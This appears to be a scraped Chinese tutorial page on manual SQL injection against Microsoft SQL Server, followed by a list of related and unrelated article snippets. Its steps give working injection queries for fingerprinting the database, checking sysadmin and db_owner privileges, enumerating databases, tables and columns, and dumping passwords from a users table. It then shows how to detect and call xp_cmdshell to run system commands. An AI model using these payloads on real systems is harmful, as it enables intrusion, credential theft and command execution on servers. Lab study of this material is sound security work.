Step1:检测注入点

  

Step2:

  select * from sysobjects   (sysobjects 系统对象表,保存当前数据库的对象)

  select * from users where id=1 and exists(select * from sysobjects)    有结果说明该数据库是mssql

Step3:注入点权限的判断(根据页面显示效果)

  select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa

  select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner)

  select is_srvrolemember('public');判断是否有public权限,可以爆破表

Step4:信息收集

  1‘ and (user)=1--

  当前数据库版本: select @@version    = 1  报错

  当前用户:   user

  当前数据库:    select db_name()

    db_name(0) 当前数据库,其中的参数表示第几个数据库

    SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms');

    SELECT top 1 Name FROM Master..SysDatabases  在系统数据库中能够查询所有的数据库

    where name not in ('master','aspcms')    表示查找的结果不在括号中的集合中

Step5:当前数据库中的表

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0    获取第一个表名

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in (’emails‘)   第二个表名

Step6:获取指定表的字段名

select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users'

第二个字段

select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users'  and column_name not in ('id')    //username  出来了

Step7:获取字段内容

select top 1 password from users

MSSQL的xp_cmdshell

判断有没有xp_cmdshell扩展

Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'(返回值是1就说明有扩展)

exec master.dbo.xp_cmdshell 'whoami'

使用SQLmap对SQLserver进行检测

SQL server 注入 和 SQL server 扩展(10.29 第二十九天)的更多相关文章

  1. SQLmap自动注入工具命令(10.28 10.29 第二十八 二十九天)

    SQL注入工具:明小子  啊D   萝卜头   sqlmap  等等 SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他 ...

  2. (后端)sql手工注入语句&SQL手工注入大全(转)

    转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...

  3. 最新SQL手工注入语句&SQL注入大全

    看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...

  4. PHP操作MYSQL数据库(10.11 第十九天)

    一.连接及断开数据库 1.使用mysqli 扩展(推荐),只针对mysql数据库 面向对象的方式 $con = new mysqli(ip,user,password); if($con->co ...

  5. Docker入门以及漏洞环境搭建(10.23 第二十五天)

    Docker:开源的应用程序容器引擎,使用Go语言.借助于docker打包的应用程序,将这些应用程序 包含在容器里面,在容器中实现虚拟化,容器使用的是沙箱机制,相互独立,占用资源非常少. Docker ...

  6. Sql server注入一些tips

    sql server环境测试: 几个特性: 1.sql server兼容性可以说是最差的. 举例: select x from y where id=1 字符串查询 select x from y w ...

  7. DataGear 变更部署数据库为SQL Server填坑指南(含转写后的SQL server代码及SQL server配置文件)

    1. 引言 2. 配置数据库链接 3. 引入数据库驱动 4. 手动初始化数据库 5. 改写SQL 6. 其他 7. 参考 1. 引言 DataGear默认使用Derby数据库作为系统的元数据库,至于待 ...

  8. Azure SQL Database (20) 使用SQL Server 2016 Upgrade Advisor

    <Windows Azure Platform 系列文章目录>  Azure SQL Database (19) Stretch Database 概览      Azure SQL Da ...

  9. SQL SERVER如何通过SQL语句获服务器硬件和系统信息

    在SQL SERVER中如何通过SQL语句获取服务器硬件和系统信息呢?下面介绍一下如何通过SQL语句获取处理器(CPU).内存(Memory).磁盘(Disk)以及操作系统相关信息.如有不足和遗漏,敬 ...

随机推荐

  1. keil遇到hardfault时原因的查找

    当硬件仿真遇到hardfault会进入响应的中断软件陷阱中void HardFault_Handler(void),此时通过view-registers中的 1 如果STACK=MSP,则查看SP的堆 ...

  2. 【PAT甲级】1027 Colors in Mars (20 分)

    题意: 输入三个范围为0~168的整数,将它们从十三进制转化为十进制然后前缀#输出. AAAAAccepted code: #define HAVE_STRUCT_TIMESPEC #include& ...

  3. JS原型与原型链继承的理解

    一.原型 先从构造函数开始吧! 构造函数是什么?构造函数与其他函数唯一的区别在于调用方式不同.任何函数只要通过new来调用就可以作为构造函数,它是用来创建特定类型的对象. 下面定义一个构造函数 Fem ...

  4. 116、Java中String类之大小写转换

    01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...

  5. C# 中的委托和事件 转载张子阳的

        C# 中的委托和事件 引言 委托 和 事件在 .Net Framework中的应用非常广泛,然而,较好地理解委托和事件对很多接触C#时间不长的人来说并不容易.它们就像是一道槛儿,过了这个槛的人 ...

  6. list中会直接绑定HashMap中的数据

    import java.util.ArrayList;import java.util.HashMap;import java.util.List; public class HashMapSync ...

  7. NoNodeAvailableException异常的解决

    Elasticsearch 相关学习,昨天还好好的,今天就出错了!!! 完整异常为 : NoNodeAvailableException[None of the configured nodes ar ...

  8. HDU 5045 状压DP 上海网赛

    比赛的时候想的是把n个n个的题目进行状压 但这样不能讲究顺序,当时精神面貌也不好,真是挫死了 其实此题的另一个角度就是一个n个数的排列,如果我对n个人进行状压,外面套一个按题目循序渐进的大循环,那么, ...

  9. js学习(三)对象与事件

    JavaScript 对象 1.JavaScript 对象:拥有属性和方法的数据. 2.在 JavaScript中,几乎所有的事物都是对象. 3.定义一个person对象 var person = { ...

  10. ffmpeg 学习: 004-参考文档进行的开发

    背景 在学习ffmpeg时,由于文档老旧以及ffmpeg新旧版本对于一些api的改动,导致学习受阻. 本来可以直接下载老的库,使用老的源码进行学习,但本人觉得,一味地守旧并不是一种好的方法. ffmp ...